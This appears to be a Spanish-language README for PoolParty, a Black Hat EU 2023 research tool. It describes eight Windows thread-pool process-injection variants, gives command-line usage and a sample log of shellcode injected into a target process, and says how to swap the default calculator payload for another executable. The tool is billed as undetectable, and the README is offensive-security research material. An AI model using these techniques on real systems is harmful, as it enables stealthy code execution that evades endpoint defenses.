
Un conjunto de técnicas de inyección de procesos totalmente indetectables que abusan de los grupos de subprocesos de Windows.
Una colección de técnicas de inyección de procesos totalmente indetectables que abusan de los grupos de subprocesos de Windows. Presentado en las sesiones informativas de Black Hat EU 2023 bajo el título - The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
| ID de variante | Descripción de variante |
|---|---|
| 1 | Sobrescribir la rutina de inicio de la fábrica de trabajadores del proceso objetivo |
| 2 | Insertar elemento de trabajo TP_WORK en el grupo de subprocesos del proceso objetivo |
| 3 | Insertar elemento de trabajo TP_WAIT en el grupo de subprocesos del proceso objetivo |
| 4 | Insertar elemento de trabajo TP_IO en el grupo de subprocesos del proceso objetivo |
| 5 | Insertar elemento de trabajo TP_ALPC en el grupo de subprocesos del proceso objetivo |
| 6 | Insertar elemento de trabajo TP_JOB en el grupo de subprocesos del proceso objetivo |
| 7 | Insertar elemento de trabajo TP_DIRECT en el grupo de subprocesos del proceso objetivo |
| 8 | Insertar elemento de trabajo TP_TIMER en el grupo de subprocesos del proceso objetivo |
PoolParty.exe -V <ID DE VARIANTE> -P <PID OBJETIVO>
Insertar elemento de trabajo TP_TIMER en el ID de proceso 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
El shellcode predeterminado ejecuta una calculadora a través de la API WinExec.
Para personalizar el ejecutable a ejecutar, cambie la ruta al final de la variable g_Shellcode presente en el archivo main.cpp.